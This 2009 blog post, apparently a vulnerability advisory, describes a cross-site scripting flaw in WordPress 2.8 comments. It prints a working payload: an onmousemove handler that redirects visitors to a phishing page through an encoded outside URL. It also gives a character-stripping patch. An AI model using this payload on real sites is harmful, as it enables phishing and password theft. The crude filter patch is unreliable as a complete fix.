Be Careful,Wordpress 2.8 All Version Xss 0DAY

It had been published that wordpress 2.8 All version are suffering from Xss,attackers can use this to do phishing,they make a wordpress login page as it is your own.If you don’t take care,your password will be sent to the attacker’s website.With your password,they can edit pages and upload webshell.It is harmful.

How is the attacker do this?
they insert website url like this(in the comments write place):

1

http://www.vul.kr' onmousemove='location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);

If someone(or administrator) moved his mouse on the author’s website.It will jump to another URL,which is a phishing page.

How can we patch it?
Edit wp-comments-post.php
go line 40 and then add:

1
2
3

$comment_author_url = str_replace(chr(39),'',$comment_author_url);
$comment_author_url = str_replace(chr(59),'',$comment_author_url);
$comment_author_url = str_replace(chr(44),'',$comment_author_url);

 
wordpress-0day-patch

Webmasters,please patch it as soon as you can.

Related Posts

Tags: , ,

This entry was posted on Friday, July 17th, 2009 at 3:24 pm and is filed under 0day, Vulnerable InforMation. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

  1. ElenaLisvato says:
    August 6, 2009 at 11:34 am

    Hi, I can’t understand how to add your site in my rss reader. Can you Help me, please :)

  2. admin says:
    August 6, 2009 at 3:57 pm

    Hi,my rss is here http://feeds.feedburner.com/http/wwwvulkr/feedrss2

    If you have gmail account,click it and the login to account,you can add it.

  3. Power 4 Home says:
    December 2, 2009 at 11:22 am

    I like your style, the fact that your site is a little bit different makes it so interesting, I get fed up of seeing same-old-same-old all of the time. I’ve just stumbled this page for you :-D

  4. Zygor Guides says:
    December 2, 2009 at 1:15 pm

    This has been really interesting, thanks for that. I love this blog theme too!

  1. There are no trackbacks for this post yet.

Leave a Reply